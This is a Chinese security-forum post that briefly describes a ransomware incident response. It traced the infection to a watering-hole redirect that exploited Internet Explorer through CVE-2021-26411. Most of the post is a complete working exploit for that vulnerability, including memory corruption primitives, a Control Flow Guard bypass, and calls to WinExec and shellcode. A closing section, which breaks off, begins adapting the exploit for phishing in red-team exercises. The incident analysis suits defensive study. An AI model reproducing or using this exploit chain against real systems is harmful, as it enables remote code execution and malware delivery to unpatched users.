安全矩阵

 找回密码
 立即注册
搜索
查看: 3428|回复: 0

由一次勒索病毒应急响应浅谈hw中IE钓鱼的可能性

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-23 18:22:03 | 显示全部楼层 |阅读模式
原文链接:由一次勒索病毒应急响应浅谈hw中IE钓鱼的可能性

一、简介上周到某公司进行勒索病毒的溯源,说来也是倒霉,这家公司一年中了三次勒索病毒了,属实惨兮兮。经过排查发现这个遇到的勒索病毒跟之前遇到的不太一样,并不是通过常规暴力破解SMB,RDP服务进行扩散的,而是通过IE浏览器的漏洞,远程加载恶意程序,文件不落地的形式进行的投毒,所以才有了此文。
二、勒索病毒应急溯源2.1 常规分析从勒索病毒应急响应的经验初步判断可能是此台PC违规开放的端口(445,3389)遭受到了外网爆破,但是通过日志查看工具evtxLogparse发现此台中病毒的PC并没有遭受暴力破解,常规高危端口也没有开放

2.2 转换思路因为中毒PC为windows7系统,且使用较老版本的IE浏览器,怀疑是受害者点击了恶意链接后跳转至投毒域名,利用IE漏洞CVE-2021-26411进行RCE病毒投放。利用工具browsinghistoryview以xls格式导出浏览器记录

发现两条可疑访问记录,域名0v2726xb2736ad7z.gosgrew.quest的命名方式无规则,很像是随机命名的

通过在线情报查询,可以发现此域名注册时间很短。经过排查,初步判断此台PC中勒索病毒的过程是这样的:攻击者很可能采用了水坑攻击的方式,受害者在不知情的情况下访问了http://eudoxia-myr.com/favicon.ico(或者http://eudoxia-myr.com下的某一链接)此网站是已经被黑客入侵过的网站,访问此网站某些链接会直接跳转到恶意投毒域名(http://0v2726xb2736ad7z.gosgrew.quest/)利用IE漏洞CVE-2021-26411进行RCE投毒。
三、两种IE浏览器漏洞利用方式3.1 CVE-2021-26411(Internet Explorer内存损坏漏洞)3.1.1 漏洞简介CVE-2021-26411可以作为一种新型传播勒索病毒的方式,漏洞原理就是远程代码执行,可以调用windows API或者shellcode
3.1.2 影响范围
  1. Internet Explorer 11(IE8亲测是不行的)
  2. Microsoft Edge   (EdgeHTML-based)

  3. Windows 7 SP1
  4. Windows 8.1
  5. Windows RT 8.1
  6. Windows 10 Version 1607, 1803,1809,   1909, 2004,20H2
  7. Windows Server 2008 SP2
  8. Windows Server 2008 R2 SP1
  9. Windows Server 2012, 2012 R2, 2016, 2019
  10. Windows Server version 1909, 2004,20H2
复制代码


3.1.3 利用条件​用户认证:不需要用户认证触发方式:远程3.1.4 漏洞复现直接借鉴了网上的POC
  1. //https://www.52pojie.cn/thread-1434380-1-1.html

  2. <!-- IE Double Free 1Day Poc -->
  3. <!doctype html>
  4. <html lang="zh-cmn-Hans">
  5. <head>
  6. <meta http-equiv="Cache-Control" content="no-cache">
  7. </head>
  8. <body>
  9. <script language="javascript">

  10. // 重复字符串
  11. String.prototype.repeat = function (size) { return new Array(size + 1).join(this) }

  12. function pad0(str) {
  13.     // 提取倒数第四个字符开始的字符串,效果就是补0
  14.     return ('0000' + str).slice(-4)
  15. }

  16. // Access of Resource Using Incompatible Type ('Type Confusion')
  17. function alloc1() {
  18.     // DataView 视图是一个可以从 二进制ArrayBuffer 对象中读写多种数值类型的底层接口,使用它时,不用考虑不同平台的字节序问题。
  19.     var view = new DataView(abf)
  20.     var str = ''
  21.     for (var i = 4; i < abf.byteLength - 2; i += 2)
  22.         str += '%u' + pad0(view.getUint16(i, true).toString(16))
  23.     // 创建并返回一个新的属性节点
  24.     var result = document.createAttribute('alloc')
  25.     // 对escape()编码的字符串进行解码
  26.     result.nodeValue = unescape(str)
  27.     return result
  28. }

  29. function alloc2() {
  30.     // 创建字典对象
  31.     var dic1 = new ActiveXObject('Scripting.Dictionary')
  32.     var dic2 = new ActiveXObject('Scripting.Dictionary')
  33.     // 增加新项,dic.add(key,value)
  34.     dic2.add(0, 1)
  35.     dic1.add(0, dic2.items())
  36.     dic1.add(1, fake)
  37.     dic1.add(2, arr)
  38.     for (i = 3; i < 0x20010 / 0x10; ++i)
  39.         dic1.add(i, 0x12341234)
  40.     return dic1.items()
  41. }

  42. function dump(nv) {
  43.     // ArrayBuffer 对象用来表示通用的、固定长度的原始二进制数据缓冲区。
  44.     // 创建一个0x20010字节的缓冲区,并使用一个 DataView 来引用它
  45.     var ab = new ArrayBuffer(0x20010)
  46.     var view = new DataView(ab)
  47.     for (var i = 0; i < nv.length; ++i)
  48.         view.setUint16(i * 2 + 4, nv.charCodeAt(i), true)
  49.     return ab
  50. }

  51. // 在原型对象上定义属性
  52. function Data(type, value) {
  53.     this.type = type
  54.     this.value = value
  55. }

  56. function setData(i, data) {
  57.     var arr = new Uint32Array(abf)
  58.     arr[i * 4] = data.type
  59.     arr[i * 4 + 2] = data.value
  60. }

  61. function flush() {
  62.     hd1.nodeValue = (new alloc1()).nodeValue
  63.     hd2.nodeValue = 0
  64.     // 返回调用该方法的节点的一个副本.
  65.     hd2 = hd1.cloneNode()
  66. }

  67. // 小端序读取
  68. function read(addr, size) {
  69.     switch (size) {
  70.         case 8:
  71.             return god.getUint8(addr)
  72.         case 16:
  73.             // getUint16(byteOffset [, littleEndian])
  74.             return god.getUint16(addr, true)
  75.         case 32:
  76.             return god.getUint32(addr, true)
  77.     }
  78. }

  79. function write(addr, value, size) {
  80.     switch (size) {
  81.         case 8:
  82.             return god.setUint8(addr, value)
  83.         case 16:
  84.             return god.setUint16(addr, value, true)
  85.         case 32:
  86.             return god.setUint32(addr, value, true)
  87.     }
  88. }

  89. function writeData(addr, data) {
  90.     for (var i = 0; i < data.length; ++i)
  91.         write(addr + i, data[i], 8)
  92. }

  93. function addrOf(obj) {
  94.     arr[0] = obj
  95.     return read(pArr, 32)
  96. }

  97. function strcmp(str1, str2) {
  98.     // typeof 操作符返回一个字符串,表示未经计算的操作数的类型。
  99.     str1 = (typeof str1 == 'string') ? str1 : toStr(str1)
  100.     str2 = (typeof str2 == 'string') ? str2 : toStr(str2)
  101.     return str1.toLowerCase() == str2.toLowerCase()
  102. }

  103. function memcpy(dst, src, size) {
  104.     for (var i = 0; i < size; ++i)
  105.         write(dst + i, read(src + i, 8), 8)
  106. }

  107. function toStr(addr) {
  108.     var str = ''
  109.     while (true) {
  110.         var c = read(addr, 8)
  111.         // 遇到终结符就退出循环
  112.         if (c == 0) break
  113.         // 返回由指定的 UTF-16 代码单元序列创建的字符串
  114.         str += String.fromCharCode(c)
  115.         addr++
  116.     }
  117.     return str
  118. }

  119. function newStr(str) {
  120.     var buffer = createArrayBuffer(str.length + 1)
  121.     for (var i = 0; i < str.length; ++i) write(buffer + i, str.charCodeAt(i), 8)
  122.     // 写入字符串终结符
  123.     write(buffer + i, 0, 8)
  124.     return buffer
  125. }
  126. // PE文件相关操作函数
  127. function getDllBase(base, name) {
  128.     var tmpValue = 0
  129.     var index = 0
  130.     var iat = base + read(base + read(base + 60, 32) + 128, 32)
  131.     while (true) {
  132.         var offset = read(iat + index * 20 + 12, 32)
  133.         if (strcmp(base + offset, name)) break
  134.         index++
  135.     }
  136.     var addr = read(iat + index * 20 + 16, 32)
  137.     return getBase(read(base + addr, 32))
  138. }

  139. function getBase(addr) {
  140.     var addr = addr & 0xffff0000
  141.     while (true) {
  142.         if (isMZ(addr) && isPE(addr)) break
  143.         addr -= 0x10000
  144.     }
  145.     return addr
  146. }

  147. function isMZ(addr) {
  148.     return read(addr, 16) == 0x5a4d
  149. }

  150. function isPE(addr) {
  151.     var sizeOfHeaders = read(addr + 60, 32)
  152.     if (sizeOfHeaders > 0x600) return null
  153.     var addr = addr + sizeOfHeaders
  154.     if (read(addr, 32) != 0x4550) return null
  155.     return addr
  156. }

  157. function winVer() {
  158.     // 返回浏览器的平台和版本信息
  159.     var appVersion = window.navigator.appVersion
  160.     var ver = 0
  161.     // 检测一个字符串是否匹配某个模式,javaScript正则表达式
  162.     if (/(Windows 10.0|Windows NT 10.0)/.test(appVersion)) {
  163.         ver = 100
  164.     } else if (/(Windows 8.1|Windows NT 6.3)/.test(appVersion)) {
  165.         ver = 81
  166.     } else if (/(Windows 8|Windows NT 6.2)/.test(appVersion)) {
  167.         ver = 80
  168.     } else {
  169.         ver = 70
  170.     }
  171.     return ver
  172. }

  173. function createArrayBuffer(size) {
  174.     var ab = new ArrayBuffer(size)
  175.     var bs = read(addrOf(ab) + 0x1c, 32)
  176.     // 设置键值对
  177.     map.set(bs, ab)
  178.     return bs
  179. }

  180. function getProcAddr(addr, name) {
  181.     var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32)
  182.     var non = read(eat + 0x18, 32)
  183.     var aof = addr + read(eat + 0x1c, 32)
  184.     var aon = addr + read(eat + 0x20, 32)
  185.     var aono = addr + read(eat + 0x24, 32)
  186.     for (var i = 0; i < non; ++i) {
  187.         var offset = read(aon + i * 4, 32)
  188.         if (strcmp(addr + offset, name)) break
  189.     }
  190.     var offset = read(aono + i * 2, 16)
  191.     return addr + read(aof + offset * 4, 32)
  192. }

  193. function readyRpcCall(func) {
  194.     var PRPC_CLIENT_INTERFACE_Buffer = _RPC_MESSAGE.get(msg, 'RpcInterfaceInformation')
  195.     var _MIDL_SERVER_INFO_Buffer = PRPC_CLIENT_INTERFACE.get(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo')
  196.     var RPC_DISPATCH_TABLE_Buffer = _MIDL_SERVER_INFO_.get(_MIDL_SERVER_INFO_Buffer, 'DispatchTable')
  197.     write(RPC_DISPATCH_TABLE_Buffer, func, 32)
  198. }

  199. function setArgs(args) {
  200.     var buffer = createArrayBuffer(48)
  201.     for (var i = 0; i < args.length; ++i) {
  202.         write(buffer + i * 4, args[i], 32)
  203.     }
  204.     _RPC_MESSAGE.set(msg, 'Buffer', buffer)
  205.     _RPC_MESSAGE.set(msg, 'BufferLength', 48)
  206.     _RPC_MESSAGE.set(msg, 'RpcFlags', 0x1000)
  207.     return buffer
  208. }

  209. function callRpcFreeBufferImpl() {
  210.     var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
  211.     _RPC_MESSAGE.set(rpcFree, 'Buffer', buffer)
  212.     return call(rpcFree)
  213. }

  214. function callRpcFreeBuffer() {
  215.     var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
  216.     var result = read(buffer, 32)
  217.     callRpcFreeBufferImpl()
  218.     return result
  219. }

  220. function call2(func, args) {
  221.     readyRpcCall(func)
  222.     var buffer = setArgs(args)
  223.     call(msg)
  224.     map.delete(buffer)
  225.     return callRpcFreeBuffer()
  226. }

  227. function call(addr) {
  228.     var result = 0
  229.     write(paoi + 0x18, addr, 32)
  230.     // 错误处理
  231.     try {
  232.         // rpcrt4!NdrServerCall2
  233.         xyz.normalize()
  234.     } catch (error) {
  235.         result = error.number
  236.     }
  237.     write(paoi + 0x18, patt, 32)
  238.     return result
  239. }

  240. function prepareCall(addr, func) {
  241.     var buf = createArrayBuffer(cattr.size())
  242.     var vft = read(patt, 32)
  243.     memcpy(addr, patt, cbase.size())
  244.     memcpy(buf, vft, cattr.size())
  245.     cbase.set(addr, 'pvftable', buf)
  246.     cattr.set(buf, 'normalize', func)
  247. }

  248. function createBase() {
  249.     var isWin7 = winVer() == 70
  250.     var size = isWin7 ? 560 : 572
  251.     var offset = isWin7 ? 540 : 548
  252.     var addr1 = createArrayBuffer(size + cbase.size())
  253.     var addr2 = createArrayBuffer(48)
  254.     write(addr1 + offset, addr2, 32)
  255.     write(addr2 + 40, 8, 32)
  256.     write(addr2 + 36, 8, 32)
  257.     return {
  258.         size: size,
  259.         addr: addr1
  260.     }
  261. }

  262. function aos() {
  263.     var baseObj = createBase()
  264.     var addr = baseObj.addr + baseObj.size
  265.     var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection')
  266.     prepareCall(addr, I_RpcTransServerNewConnection)
  267.     return read(read(call(addr)-0xf8, 32), 32)
  268. }

  269. // 自定义结构体的操作
  270. function SymTab(size, sym) {
  271.     this.size = function() {
  272.         return size
  273.     }
  274.     this.set = function(addr, name, value) {
  275.         var o = sym[name]
  276.         write(addr + o.offset, value, o.size)
  277.     }
  278.     this.get = function(addr, name) {
  279.         var o = sym[name]
  280.         return read(addr + o.offset, o.size)
  281.     }
  282. }

  283. // 构造RPC
  284. function initRpc() {
  285.     var data = [50,72,0,0,0,0,0,0,52,0,192,0,16,0,68,13,10,1,0,0,0,0,0,0,0,0,72,0,0,0,9,0,72,0,4,0,9,0,72,0,8,0,9,0,72,0,12,0,9,0,72,0,16,0,9,0,72,0,20,0,9,0,72,0,24,0,9,0,72,0,28,0,9,0,72,0,32,0,9,0,72,0,36,0,9,0,72,0,40,0,9,0,72,0,44,0,9,0,112,0,48,0,9,0,0]
  286.     var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2')
  287.     var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate')
  288.     var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree')
  289.     var RPCMessageObject = createArrayBuffer(cbase.size())
  290.     var buffer = createArrayBuffer(0x100)
  291.     var buffer2 = createArrayBuffer(0x200)
  292.     var AttributeVtable = read(patt, 32)
  293.     var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
  294.     var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size())
  295.     var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size())
  296.     var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size())
  297.     var rpcProcStringBuffer = createArrayBuffer(data.length)
  298.     writeData(rpcProcStringBuffer, data)
  299.     var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size())
  300.     var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size())
  301.     var NdrServerCall2Buffer = createArrayBuffer(4)
  302.     write(NdrServerCall2Buffer, NdrServerCall2, 32)
  303.     write(MSHTMLSymbolBuffer, osf_vft, 32)
  304.     write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
  305.     write(MSHTMLSymbolBuffer + 8, 0x40, 32)
  306.     cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
  307.     cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
  308.     cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
  309.     cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
  310.     cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)
  311.     cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68)
  312.     write(RPCMessageObject + 76, 1, 32)
  313.     syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2)
  314.     _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
  315.     _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate)
  316.     _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree)
  317.     _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2)
  318.     _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1)
  319.     _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002)
  320.     _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b)
  321.     _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1)
  322.     _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer)
  323.     _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32))
  324.     _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer)
  325.     _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2)
  326.     RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1)
  327.     RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer)
  328.     PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer)
  329.     PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer)
  330.     PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size())
  331.     PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1)
  332.     PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2)
  333.     PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000)
  334.     _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
  335.     _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer)
  336.     _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer)
  337.     _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16)
  338.     _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000)
  339.     _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer)
  340.     _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48)
  341.     return RPCMessageObject
  342. }

  343. function rpcFree() {
  344.     var Cbase = createArrayBuffer(cbase.size())
  345.     var I_RpcFreeBuffer = getProcAddr(rpcrt4, 'I_RpcFreeBuffer')
  346.     var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
  347.     var AttributeVtable = read(patt, 32)
  348.     write(MSHTMLSymbolBuffer, osf_vft, 32)
  349.     write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
  350.     write(MSHTMLSymbolBuffer + 8, 64, 32)
  351.     cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
  352.     cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
  353.     cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
  354.     cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
  355.     cattr.set(MSHTMLSymbolBuffer, 'normalize', I_RpcFreeBuffer)
  356.     cbase.set(Cbase, 'pvftable', MSHTMLSymbolBuffer)
  357.     cbase.set(Cbase, 'pSecurityContext', Cbase + 68)
  358.     write(Cbase + 76, 1, 32)
  359.     return Cbase
  360. }

  361. function CFGObject(baseAddress) {
  362.     var PEAddr = isPE(baseAddress)
  363.     var eat = PEAddr + 120
  364.     var LOAD_CONFIG_DIRECTORY = baseAddress + read(eat + 0x50, 32)
  365.     var size = read(LOAD_CONFIG_DIRECTORY, 32)
  366.     var sizeOfImage = read(PEAddr + 0x50, 32)
  367.     var CFGSymbolTable = new SymTab(0x5c, {
  368.         '___guard_check_icall_fptr': {
  369.             offset: 72,
  370.             size: 32
  371.         }
  372.     })

  373.     var guard_check_icall_fptr_address = size < CFGSymbolTable.size() ? 0 : CFGSymbolTable.get(LOAD_CONFIG_DIRECTORY, '___guard_check_icall_fptr')
  374.     this.getCFGAddress = function() {
  375.         return guard_check_icall_fptr_address
  376.     }
  377.     this.getCFGValue = function() {
  378.         if (size < CFGSymbolTable.size()) return false
  379.         var currentCFGValue = read(guard_check_icall_fptr_address, 32)
  380.         var isValidAddress = (baseAddress < currentCFGValue) && (currentCFGValue < baseAddress + sizeOfImage)
  381.         return !isValidAddress;
  382.     }
  383. }

  384. function killCfg(addr) {
  385.     var cfgobj = new CFGObject(addr)
  386.     if (!cfgobj.getCFGValue()) return
  387.     var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
  388.     var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
  389.     var tmpBuffer = createArrayBuffer(4)
  390.     // 修改RPCRT4!__guard_check_icall_fptr的属性为PAGE_EXECUTE_READWRITE
  391.     call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
  392.     // 替换rpcrt4!__guard_check_icall_fptr保存的指针,修改ntdll!LdrpValidateUserCallTarget为改为ntdll!KiFastSystemCallRet
  393.     // 关闭rpcrt4的CFG检查
  394.     write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
  395.     // 恢复PRCRT4!__gurad_check_icall_fptr内存属性
  396.     call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
  397.     map.delete(tmpBuffer)
  398. }

  399. // {} 表示对象
  400. // 属性:属性值
  401. var cbase = new SymTab(0x60, {
  402.     'pvftable': {
  403.         offset: 0x0,
  404.         size: 32
  405.     },
  406.     'pSecurityContext': {
  407.         offset: 0x44,
  408.         size: 32
  409.     }
  410. })

  411. var cattr = new SymTab(0x32c, {
  412.     '__vtguard': {
  413.         offset: 0x48,
  414.         size: 32
  415.     },
  416.     'SecurityContext': {
  417.         offset: 0xc8,
  418.         size: 32
  419.     },
  420.     'JSBind_TypeId': {
  421.         offset: 0x160,
  422.         size: 32
  423.     },
  424.     'JSBind_InstanceOf': {
  425.         offset: 0x164,
  426.         size: 32
  427.     },
  428.     'normalize': {
  429.         offset: 0x28c,
  430.         size: 32
  431.     }
  432. })

  433. var syntaxObject = new SymTab(0x14, {
  434.     'SyntaxVersion.MajorVersion': {
  435.         offset: 0x10,
  436.         size: 16
  437.     }
  438. })

  439. var PRPC_CLIENT_INTERFACE = new SymTab(0x44, {
  440.     'Length': {
  441.         offset: 0,
  442.         size: 32
  443.     },
  444.     'InterfaceId.SyntaxVersion.MajorVersion': {
  445.         offset: 20,
  446.         size: 16
  447.     },
  448.     'TransferSyntax.SyntaxVersion.MajorVersion': {
  449.         offset: 40,
  450.         size: 16
  451.     },
  452.     // 保存了runtime库和Stub函数的接口指针
  453.     'DispatchTable': {
  454.         offset: 44,
  455.         size: 32
  456.     },
  457.     // 指向MIDL_SERVER_INFO结构
  458.     'InterpreterInfo': {
  459.         offset: 60,
  460.         size: 32
  461.     },
  462.     'Flags': {
  463.         offset: 64,
  464.         size: 32
  465.     }
  466. })

  467. // 保存了服务端IDL接口信息
  468. var _MIDL_SERVER_INFO_ = new SymTab(0x20, {
  469.     'pStubDesc': {
  470.         offset: 0,
  471.         size: 32
  472.     },
  473.     // 保存了服务端提供的远程调用例程的函数指针数组
  474.     'DispatchTable': {
  475.         offset: 4,
  476.         size: 32
  477.     },
  478.     'ProcString': {
  479.         offset: 8,
  480.         size: 32
  481.     },
  482.     'FmtStringOffset': {
  483.         offset: 12,
  484.         size: 32
  485.     }
  486. })

  487. var _MIDL_STUB_DESC = new SymTab(0x50, {
  488.     'RpcInterfaceInformation': {
  489.         offset: 0,
  490.         size: 32
  491.     },
  492.     'pfnAllocate': {
  493.         offset: 4,
  494.         size: 32
  495.     },
  496.     'pfnFree': {
  497.         offset: 8,
  498.         size: 32
  499.     },
  500.     'pFormatTypes': {
  501.         offset: 32,
  502.         size: 32
  503.     },
  504.     'fCheckBounds': {
  505.         offset: 36,
  506.         size: 32
  507.     },
  508.     'Version': {
  509.         offset: 40,
  510.         size: 32
  511.     },
  512.     'MIDLVersion': {
  513.         offset: 48,
  514.         size: 32
  515.     },
  516.     'mFlags': {
  517.         offset: 64,
  518.         size: 32
  519.     }
  520. })

  521. var RPC_DISPATCH_TABLE = new SymTab(12, {
  522.     'DispatchTableCount': {
  523.         offset: 0,
  524.         size: 32
  525.     },
  526.     'DispatchTable': {
  527.         offset: 4,
  528.         size: 32
  529.     },
  530. })

  531. var _RPC_MESSAGE = new SymTab(0x2c, {
  532.     'Handle': {
  533.         offset: 0,
  534.         size: 32
  535.     },
  536.     'DataRepresentation': {
  537.         offset: 4,
  538.         size: 32
  539.     },
  540.     // 存放函数的参数
  541.     'Buffer': {
  542.         offset: 8,
  543.         size: 32
  544.     },
  545.     'BufferLength': {
  546.         offset: 12,
  547.         size: 32
  548.     },
  549.     'TransferSyntax': {
  550.         offset: 20,
  551.         size: 32
  552.     },
  553.     // 指向RPC_SERVER_INTERFACE
  554.     'RpcInterfaceInformation': {
  555.         offset: 24,
  556.         size: 32
  557.     },
  558.     'RpcFlags': {
  559.         offset: 40,
  560.         size: 32
  561.     }
  562. })

  563. var god
  564. // 对象数组
  565. var arr = [{}]
  566. var fake = new ArrayBuffer(0x100)
  567. var abf = new ArrayBuffer(0x20010)
  568. var alloc = alloc2()
  569. // 创建一个HTML 属性对象
  570. var hd0 = document.createAttribute('handle')
  571. var hd1 = document.createAttribute('handle')
  572. var hd2
  573. // 创建一个HTML 元素对象
  574. var ele = document.createElement('element')
  575. var att = document.createAttribute('attribute')
  576. att.nodeValue = {
  577.     valueOf: function() {
  578.         hd1.nodeValue = (new alloc1()).nodeValue
  579.         // 回调时,清除ele对象绑定的所有属性
  580.         ele.clearAttributes()
  581.         hd2 = hd1.cloneNode()
  582.         ele.setAttribute('attribute', 1337)
  583.     }
  584. }
  585. ele.setAttributeNode(att)
  586. ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
  587. // 触发valueof函数回调
  588. ele.removeAttributeNode(att)
  589. hd0.nodeValue = alloc
  590. var leak = new Uint32Array(dump(hd2.nodeValue))
  591. var pAbf = leak[6]
  592. var pArr = leak[10]
  593. var VT_I4 = 0x3
  594. var VT_DISPATCH = 0x9
  595. var VT_BYREF = 0x4000
  596. var bufArr = new Array(0x10)
  597. var fakeArr = new Uint32Array(fake)
  598. for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))
  599. flush()
  600. var ref = new VBArray(hd0.nodeValue)
  601. for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1)
  602. ref = null
  603. setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))
  604. setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))
  605. setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))
  606. flush()
  607. ref = new VBArray(hd0.nodeValue)
  608. var vt = ref.getItem(1)
  609. var gc = ref.getItem(2)
  610. var bs = ref.getItem(3)
  611. ref = null
  612. for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i]
  613. fakeArr[4] = bs + 0x40
  614. fakeArr[16] = vt
  615. fakeArr[17] = gc
  616. fakeArr[24] = 0xffffffff
  617. setData(1, new Data(VT_DISPATCH, bs))
  618. flush()
  619. ref = new VBArray(hd0.nodeValue)
  620. god = new DataView(ref.getItem(1))
  621. ref = null
  622. pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10
  623. write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32)

  624. var map = new Map()
  625. var jscript9 = getBase(read(addrOf(map), 32))
  626. var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')
  627. var msvcrt = getDllBase(jscript9, 'msvcrt.dll')
  628. var ntdll = getDllBase(msvcrt, 'ntdll.dll')
  629. var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')
  630. var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')
  631. var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')
  632. var xyz = document.createAttribute('xyz')
  633. var paoi = addrOf(xyz)
  634. var patt = read(addrOf(xyz) + 0x18, 32)
  635. var osf_vft = aos()
  636. var msg = initRpc()
  637. var rpcFree = rpcFree()
  638. killCfg(rpcrt4)

  639. // 调用API,弹出计算器
  640. var kernel32 = call2(LoadLibraryExA,[newStr('kernel32.dll',0,1)])
  641. var WinExec = getProcAddr(kernel32,'WinExec')
  642. call2(WinExec,[newStr('calc.exe'),5])

  643. // 调用shellcode
  644. var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3])
  645. var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
  646. var tmpBuffer = createArrayBuffer(4)
  647. call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
  648. writeData(msi, shellcode) // mov eax, 0x1337 ; ret
  649. call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
  650. var result = call2(msi, [])
  651. // 根据shellocde的而反汇编结果,这里会弹出0x1337的对话框
  652. alert(result.toString(16))

  653. </script>
  654. </body>
  655. </html>
复制代码

本地测试环境如下:

测试效果如下:

3.1.5 POC改造上面的POC是通过两种方式进行的函数调用:APIshellcode,我暂时只调用了windows API
原有POC在686-589行调用了API
  1. // 调用API,弹出计算器
  2. var kernel32 = call2(LoadLibraryExA,[newStr('kernel32.dll',0,1)])
  3. var WinExec = getProcAddr(kernel32,'WinExec')
  4. call2(WinExec,[newStr('calc.exe'),5])
复制代码


